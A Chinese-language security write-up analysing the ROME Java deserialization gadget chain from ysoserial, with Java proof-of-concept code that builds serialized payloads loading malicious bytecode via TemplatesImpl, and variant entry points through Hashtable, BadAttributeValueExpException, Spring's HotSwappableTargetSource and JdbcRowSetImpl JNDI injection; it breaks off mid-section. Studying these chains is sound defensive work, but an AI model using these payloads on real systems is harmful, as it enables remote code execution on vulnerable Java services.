少女祈祷中...

Rome反序列化

简介

ROME 是一个可以兼容多种格式的 feeds 解析器,可以从一种格式转换成另一种格式,也可返回指定格式或 Java 对象。ROME 兼容了 RSS (0.90, 0.91, 0.92, 0.93, 0.94, 1.0, 2.0), Atom 0.3 以及 Atom 1.0 feeds 格式。
Rome 提供了 ToStringBean 这个类,提供深入的 toString 方法对JavaBean进行操作。

漏洞原理
漏洞核心应该是ROME框架里的com.sun.syndication.feed.impl.ToStringBean类利用反射执行了invoke方法,并且参数可控

依赖

 <dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>

下面是ysoserial中的利用链

* TemplatesImpl.getOutputProperties()
* ToStringBean.toString(String)
* ToStringBean.toString()
* ObjectBean.toString()
* EqualsBean.beanHashCode()
* ObjectBean.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)

ObjectBean

com.sun.syndication.feed.impl.ObjectBean是Rome提供的一个封装类型, 初始化时提供了一个Class类型和一个Object对象实例进行封装
他也有三个成员变量,分别是EqualsBean、 ToStringBean、CloneableBean类,为ObjectBean提供了equals、toString、clone以及hashCode方法
在ObjectBean#hashCode中,调用了EqualsBean类的beanHashCode方法 —-出自https://xz.aliyun.com/t/11200

ToStringBean

com.sun.syndication.feed.impl.ToStringBean是给对象提供toString方法的类, 类中有两个toString方法, 第一个是无参的方法, 获取调用链中上一个类或_obj属性中保存对象的类名, 并调用第二个toString方法. 在第二个toString方法中, 会调用BeanIntrospector#getPropertyDescriptors来获取_beanClass的所有getter和setter方法, 接着判断参数的长度, 长度等于0的方法会使用_obj实例进行反射调用, 通过这个点我们可以来触发TemplatesImpl的利用链. —-出自https://xz.aliyun.com/t/11200

Gadget

注意:idea调式的时候需要关闭调式器视图的自动触发toString功能
ROME反序列化的利用链十分类似于CC链,其后半段的TemplatesImpl.getOutputProperties()正是CC2中实现任意类加载的利用方式。入口处的HashMap.readObject(),也正好是CC6中的反序列化入口。

public static Object TemplateImplGadget_EqualBean() throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setValue(templates,"_name","aaa");
setValue(templates,"_bytecodes",new byte[][]{EvilClassTable.TemplateClass()});
setValue(templates,"_tfactory",new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(equalsBean,"123");
return hashMap;
}

public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

反序列化入口:从hashmap中的readObject到hash再到hashCode方法
到EqualBean#hashCode中

然后调用_obj的toString方法
再来看看ToStringBean的toString方法

然后进入另一个toString方法

进入BeanIntrospector#getPropertyDescriptors中

然后是进入getPDs方法,这里就会获取到getter和setter方法,再包装进入PropertyDescriptor就不细看了
这里的类是Template所以只会拿到getOutputProperties方法

然后invoke拿到的方法

然后就是走到TemplateImpl加载恶意字节码的流程

会在newTransformer()中根据字节数组加载成class,再调用Class的newInstance,执行静态代码块

其他利用链

ObjectBean利用链

(等效链,可忽略)
本质还是不变

ObjectBean中的hashCode与上面方法 等效

构造方法都一样,只需将EqualBean改为ObjectBean即可

public static Object TemplateImplGadget_ObjectBean() throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Reflect.setValue(templates,"_name","aaa");
Reflect.setValue(templates,"_bytecodes",new byte[][]{EvilClassTable.TemplateClass()});
Reflect.setValue(templates,"_tfactory",new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(objectBean,"123");
return hashMap;
}
public class Reflect {

public static void setValue(Object source,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field=source.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(source,value);
}
}

HashTable利用链

HashTable利用链其实并不是针对ROME的利用链。其作用是替换作为反序列化入口的HashMap类,如果漏洞过滤了HashMap类,我们就可以使用HashTable类进行替换。
在HashTable中的readObject中

跟进reconstitutionPut

调用key的hashCode,后面的链子不变,这里只是换了个入口点

public static Object HashTableGadget() throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Reflect.setValue(templates,"_name","aaa");
Reflect.setValue(templates,"_bytecodes",new byte[][]{EvilClassTable.TemplateClass()});
Reflect.setValue(templates,"_tfactory",new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
Hashtable<Object, Object> hashTable = new Hashtable<>();
hashTable.put(objectBean,123);
return hashTable;
}

BadAttributeValueExpException利用链

在cc5中
BadAttributeValueExpException这个类。在其readObject()中能够调用任意类的toSrting()方法。

那把入口点直接改成BadAttributeValueExpException即可,直接调用到
ToStringBean的toString方法
看看构造方法

这样就需要反射赋值了,否则val为String而不是Object

public static Object BadAttributeValueExpExceptionGadget()throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Reflect.setValue(templates,"_name","aaa");
Reflect.setValue(templates,"_bytecodes",new byte[][]{EvilClassTable.TemplateClass()});
Reflect.setValue(templates,"_tfactory",new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
BadAttributeValueExpException expException = new BadAttributeValueExpException(123);
Reflect.setValue(expException,"val",toStringBean);
return expException;
}

HotSwappableTargetSource利用链

这条是spring原生的toString利用链,调用链如下

* HashMap.readObject
* HashMap.putVal
* HotSwappableTargetSource.equals
* XString.equals
* ToStringBean.toString

需要有Spring-aop依赖
poc

public static Object HotSwappableTargetSourceGadget()throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Reflect.setValue(templates,"_name","aaa");
Reflect.setValue(templates,"_bytecodes",new byte[][]{EvilClassTable.TemplateClass()});
Reflect.setValue(templates,"_tfactory",new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
HotSwappableTargetSource h1 = new HotSwappableTargetSource(toStringBean);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));

HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(h1,h1);
hashMap.put(h2,h2);
return hashMap;
}

HashMap#putVal
HashMap反序列化一个节点的key,和value后就会放入hashmap中
后面的元素的key肯定要跟前面的比较是否key重复

跟进HotSwappableTargetSource#equal

当两个节点的key都是HotSwappableTargetSource时,就会比较target
前面那个的target为XString
进入Xstring#equal

可以看到会调用后面那个的toSting,因此hashmap前面的key中的target为toStingBean
那就接着后面的链子
因此2个节点放入hashmap中的顺序也很重要
会走第二个放入的equal方法,第二个包装的应该是Xtring,第一个包装的是ToStingBean

JdbcRowSetImpl利用链

JdbcRowSetImpl利用链是针对后半段TemplatesImpl.getOutputProperties()任意类加载进行替换的。JdbcRowSetImpl利用链的结果是能造成JNDI注入,于是下面就可以配合RMI或者LDAP服务进行攻击了。
由于JDNI注入中trustURLCodebase的限制,这里限制的攻击版本为

  • RMI:JDK 6u132、JDK 7u122、JDK 8u113之前
  • LDAP:JDK 7u201、8u191、6u211、JDK 11.0.1之前

我们知道,在Fastjson反序列化漏洞中能造成JNDI注入的同样是JdbcRowSetImpl这条链。问题出在JdbcRowSetImpl.getDatabaseMetaData()这个getter上

connect中有使用lookup

Reference